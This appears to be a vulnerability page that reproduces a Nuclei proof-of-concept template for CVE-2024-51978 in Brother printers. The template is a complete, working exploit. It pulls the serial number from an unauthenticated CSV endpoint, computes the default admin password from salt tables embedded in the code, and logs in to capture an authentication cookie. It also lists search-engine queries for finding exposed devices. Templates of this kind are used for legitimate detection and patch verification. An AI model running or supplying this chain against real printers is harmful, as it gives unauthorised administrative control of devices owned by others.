漏洞描述
By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
CVE-2024-51978: Brother Printers – Authentication Bypass via Default Admin Password
PoC代码[已公开]
id: CVE-2024-51978
info:
name: Brother Printers – Authentication Bypass via Default Admin Password
author: iamnoooob,pdresearch,MathematicianGoat
severity: critical
description: |
By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
reference:
- https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
- https://github.com/sfewer-r7/BrotherVulnerabilities
- https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
- https://nvd.nist.gov/vuln/detail/CVE-2024-51978
classification:
epss-score: 0.69735
epss-percentile: 0.98621
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-51978
cwe-id: CWE-1391
metadata:
fofa-query: app="brother-Printer"
zoomeye-query: device="brother-Printer" || app="brother-Printer"
tags: cve,cve2024,brother,authenticated,default-login,vkev
# Flow: Extract serial → Generate password → Login attempt
flow: |
http(1)
javascript()
http(2)
if(template.csrf){
http(4)
} else {
http(3)
}
javascript:
- code: |
let SALT_LOOKUP_TABLE = [
0x06, 0x1A, 0x80, 0x93, 0x90, 0x60, 0xA4, 0x18, 0x76, 0xA8, 0xFA, 0x98, 0x58, 0x25, 0x5F, 0xBA,
0x24, 0xCF, 0xDD, 0xB6, 0xD0, 0xE3, 0x7A, 0x68, 0x41, 0x8B, 0x21, 0x15, 0x7E, 0x65, 0x70, 0x7F,
0x8C, 0x91, 0x3B, 0xFC, 0x13, 0x4A, 0xBE, 0xD7, 0x6C, 0x99, 0xC3, 0xD1, 0x51, 0x35, 0xDF, 0x23,
0xB0, 0x3F, 0x3D, 0x16, 0x29, 0xA1, 0x59, 0xCA, 0xA2, 0x5C, 0x43, 0x0B, 0xA5, 0x36, 0xF0, 0xFE,
0x3E, 0xED, 0xF2, 0xE6, 0xEA, 0x54, 0x66, 0x7D, 0xEE, 0x3C, 0x50, 0xEF, 0x9E, 0xD3, 0xB1, 0xF7,
0xAC, 0x5A, 0x6E, 0x12, 0x2A, 0x01, 0x46, 0x8F, 0x6B, 0x88, 0x0E, 0x52, 0xF9, 0x81, 0xA0, 0x02,
0xC1, 0xF1, 0xE9, 0xC2, 0xF6, 0x33, 0xCB, 0xB3, 0x73, 0x17, 0xFD, 0x6F, 0xF4, 0xEC, 0x84, 0xC6,
0x47, 0xCE, 0x9F, 0xD5, 0x92, 0x85, 0x53, 0x26, 0x27, 0x62, 0xEB, 0xAE, 0x3A, 0x1F, 0x0F, 0x94,
0x95, 0x82, 0x8E, 0x42, 0x28, 0xB9, 0xBF, 0xAF, 0xD4, 0x48, 0xD9, 0xC5, 0x4C, 0x64, 0x2B, 0x8D,
0xF8, 0xAA, 0xC4, 0x63, 0x87, 0xE4, 0x1D, 0xA6, 0x14, 0xCD, 0xBB, 0xC0, 0xE5, 0xDA, 0x37, 0xC9,
0xE8, 0xB8, 0x67, 0xDC, 0x5D, 0xA7, 0xAD, 0x79, 0x44, 0xF3, 0x83, 0xA9, 0x1B, 0x96, 0x89, 0xAB,
0x45, 0xBC, 0x1C, 0xB4, 0xE1, 0x20, 0x2F, 0x49, 0x22, 0x86, 0xDB, 0x4E, 0xE0, 0x9B, 0x10, 0x19,
0x97, 0x61, 0x40, 0x78, 0x5E, 0x39, 0xCC, 0x0D, 0x09, 0x9D, 0x34, 0x0C, 0x2E, 0x0A, 0x77, 0x6D,
0xDE, 0xC7, 0xD8, 0xA3, 0xE2, 0x56, 0xB5, 0x4B, 0x38, 0x74, 0x8A, 0xBD, 0x6A, 0x4F, 0x07, 0x03,
0x05, 0xFF, 0xF5, 0x31, 0x1E, 0xE7, 0xD2, 0x2D, 0x69, 0xC8, 0x5B, 0xD6, 0x57, 0x75, 0x7C, 0xB2,
0x72, 0xB7, 0x2C, 0xFB, 0x11, 0x9C, 0x7B, 0x32, 0x55, 0x30, 0x71, 0x04, 0x9A, 0x4D, 0x08, 0x100
]
let SALT_DATA_TABLE = [
'aiaFrJAn', 'FuUcjKwa', 'cMnDTitZ', 'RuSfzwJC', 'XXrLDVub', 'znimXRSU', 'dLdJgcZf', 'rgm32u2x',
'7HOLDhk\'', 'ENbuNZVy', 'eCd6Ygyf', 'gmLt2GuL', '5dhjHet3', 'nPtN7h23', '47rdTTV7', 'KAkaSzWh',
's3m7wwW2', 'wtBGnGjn', 'H3LyF$dd', 'H6EtSew2', 'D9N8iJBB', 'tPT4ZKm3', 'XEEV4tjf', 'zDXx93rw',
'HKkmbGjD', 'ng5sLECe', 'QrPVDngu', 'LPMhpZe9', 'uLzhjUwc', 'Sa9QBKW2', 'AfrPdj7y', 'ujmt9s72',
'n8Y7XrFx', '8xeRU7rW', 'RUzpQznp', '%hU5RMxP', 'ipaZKMEW', 'chP5cHCy', 'b5UJabgU', 'WtZsF7VF',
'xk8wg669', 'gAVynzbw', 'GuRgNxkm', 'UBCAUb85', 'CQgQhyfp', 'fcEegCtB', '5LSpTNPN', 'dzrQdahF',
'kD4fHLhM', 'mHQ6QAUg', 'TjZ6kiAb', '5SMdwEK6', 'RD2ytHHH', 'XgQHBfBY', '6ZZRVbHx', 'BNDUsFCC',
'iSwrrtpr', 'ucBFJbGj', 'Nzs7rhKJ', 'uHugTJX5', 'aXN3FsUF', 'uyHDwwUK', 'tbnJTYje', 'SmgfLZ2n',
'4sXy9D8j', 'YLVSee68', '3U5TbNNS', 'QjYfTBKu', 'T*8AF8dk', 'F8xQDTrW', 'Pyeda62U', '33sghDrE',
'ThiW9Naz', 'BU9TDd7k',
'72sgwM&G', 'VkV+uSUt', 'HpTdi9jL', 'G3AbGyAH', 'zbW8YCSy', 'eKB25SCe',
'rbzpCtQN', 'EZSRB966', 'nJAxxUbS', '7GZRAG9E', 'PaMCwYGQ', 'TZy2AeYr', 'jMgYEPUT', '6QAepcUc',
'jdWU9pXy', 'CeZs6T8g', 'jEEDBNPn', 'fCHg4V5W', 'rTUUjyPG', '3L5SNJhr', 'XbXK4Lg9', 'ZcdGAzLH',
'ANfMJ&6p', 'S4URfyzc', 'Pai9muCn', 'Nei%6NwR', 'BnUWBHg6', 'FwGyWrux', 'mwkuuGXX', 'WR$LK5Qu',
'Lxs4DgNM', 'KAYMHcKy', 'UnWYeeUp', '2cc3EzeX', '7nVPpdCd', 'LDPgHa9b', 'Yfwsz7zR', 'tGhb9Ych',
'Gxi4S8jC', 'QEiWU2cm', 'PFhyTxjN', 'LrpTgGLw', 'PUfziDzE', 'ACbmRneN', 'gYmjyNjF', 'RuZctKSS',
'k8KdHgDB', 'pJEA3hSG', 'X6rbghrk', '9mnbf3up', '4WU2hMHx', 'TgmNEn45', 'zRnQReEn', 'DfsPzxsX',
'UyScxhhw', 'knEsS3CX', 'xuPUKwFf', 'Ks4nKt2z', 'trBf!b67', 'rhHgt4gX', '2N8sPf#d', 'eFMjhMcB',
'aWLeRu9M', '4MiN4D63', '5nG9jMGh', 'SA5pnyQ6', 'UnSQ94nx', 'kPjzBBxy', '6CppHT3R', '3VPgRgiL',
'cP9JJDJr', 'MyMWzUMj', 'xyG4ACEd', 'dbnAbG8e', 'RnHGYc6F', 'ktCQnJWk', 'XBt5Vxr2', 'wH6iY9f9',
'atB4eri8', '8SdHujf8', 'inLRdn5s', 'Fh3N*pWc', 'Fb3XYtZz', 'GADACWcS', 'r8tsDgph', 'EumHNmFg',
'rRFKrK2x', 'TQ9nUnNk', 'P5hss6GX', 'mX8ZSQtr', 'BJMjyd7H', 'EC7r5fEm', 'TPjQpDaa', 'SZeMDpfR',
'XEDJeraW', 'YYNTgsah', '6uupfWF!', '7RcTLwHX', 'ycYr3dwT', '7VwCnTFQ', 'JGF6iigf', 'M72Kea4f',
'ZxfZWbVb', 'NcT3LGBV', 'HBU68uaa', 'UeHK4pnf', 'sDjzNHHd', 'CGjgeutc', 'PC4JbuC2', 'tNYQc7Xs',
'RGNsJQhD', 'HKEh2fba', '49x4PLUz', 'N6MLNkY5', 'NrMHeE9d', 'j5NkznV4', 'n8At3YKi', 'ZnHwAEnZ',
'3LnUmF8E', 'RBXzdUpA', 'FwGHBVej', '3wkkik7E', 'fpyGnp2u', 'ANBwfiPb', 'Ztt8X9zG', '47K7QWix',
'TzJfUdNY', 'hpD?MEAm', 'sJRh4Jni', 'TyQUgEEH', 'FBJnWWwx', '7cN3GH6e', 'hWQhzFTN', 'GamDhsgZ',
'yXM4cZKt', '9BJPKtaC', 'NVNpe4kJ', 'uSyxGxbz', 'h5zTpV3U', 'TAajcQ4h', 'VjYMEusS', 'Wpj237VG',
'yAjHYVVV', 'Hb6k7Cwe', 'yZbuDBEi', 'S4wpBmZM', 'DwFra8wk', 'j#Pk5r9W', 'PjkfS9WB', 'gHf3YGA3',
'ihDtdUCu', 'KARzJDfR', 'M7fApB5U', 'MiD44gRC', 'RdEM8y5W', '4GsGuPag', 'pETQc4k2', 'pZZu7Ras',
'AJReAUBy', 'EAMmQsWe', 'BeC2XJi8', 'PujT2eRf', '2UXLeAJu', 'hMPbY3MQ', 'QeawRP*p', 'SbCbW9Tf',
'EhNNtLyj', 'B8RjceGs', 'LaydmLeD', 'JFR7T47f', 'WCbAdTfm', 'srN9gNSE', 'gAn7h8Yp', '4PnTKVse',
'HDxGwLsN', 'tR8XUSRg', 'wLe-3Xf8', 'zH7cpxsd', 'tCc5sWFX', '3hzTj5BS',
'hLK6f&g4', 'tCzzSsm7'
]
function strToCharCodes(str) {
const arr = [];
for (let i = 0; i < str.length; ++i) arr.push(str.charCodeAt(i));
return arr;
}
function generateDefaultPassword(serial, saltLookupIndex = 254, saltData = null) {
if (!(0 <= saltLookupIndex && saltLookupIndex < SALT_LOOKUP_TABLE.length)) {
throw new Error('SaltLookupIndex must be between 0 and 255');
}
if (saltData === null && saltLookupIndex !== 0) {
const saltTableIndex = SALT_LOOKUP_TABLE[saltLookupIndex];
if (saltTableIndex >= SALT_DATA_TABLE.length) {
throw new Error('Unknown salt table data at salt table index');
}
saltData = strToCharCodes(SALT_DATA_TABLE[saltTableIndex]);
}
if (!saltData || saltData.length !== 8) {
throw new Error('SaltData must be 8 bytes');
}
// Use nuclei's Buffer implementation
const bytes = require('nuclei/bytes');
const buffer = new bytes.Buffer();
// Write the first 16 chars of serial as string
buffer.WriteString(serial.slice(0, 16));
// Prepare salt bytes in reverse order, minus 1
const saltBytes = [
saltData[7] - 1, saltData[6] - 1, saltData[5] - 1, saltData[4] - 1,
saltData[3] - 1, saltData[2] - 1, saltData[1] - 1, saltData[0] - 1
];
buffer.Write(saltBytes);
// Get the buffer as a byte array
result=buffer.Hex()
return result;
}
generateDefaultPassword(serial)
args:
serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"
http:
- raw:
- |
GET /etc/mnt_info.csv HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, 'Main Firmware Version','Model Name') && status_code == 200
internal: true
extractors:
- type: regex
part: body
name: srno
group: 1
regex:
- '"(\w{15})"'
internal: true
- raw:
- |
GET /general/status.html HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: logbox
group: 1
regex:
- 'id="LogBox" name="(.*?)"'
internal: true
- type: regex
part: body
name: csrf
group: 1
internal: true
regex:
- 'id="CSRFToken" name="CSRFToken" value="(.*?)"'
- raw:
- |
POST /general/status.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=
matchers:
- type: dsl
dsl:
- 'status_code==200 || status_code == 301'
- 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
condition: and
extractors:
- type: dsl
name: login_password
dsl:
- replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
- raw:
- |
POST /general/status.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken={{urlencode(csrf)}}
matchers:
- type: dsl
dsl:
- 'status_code==200 || status_code == 301'
- 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
condition: and
extractors:
- type: dsl
name: login_password
dsl:
- replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
# digest: 4a0a00473045022076a23f51f9b66bc3054a3d65087a6dc2ee64d1a77ca2e43fdbfc2193670e1247022100ee9275a309ab910713ee8d0690b68017fea2a81a9ef0cd1e60a715d2eb75ed5a:922c64590222798bb761d5b6d8e72950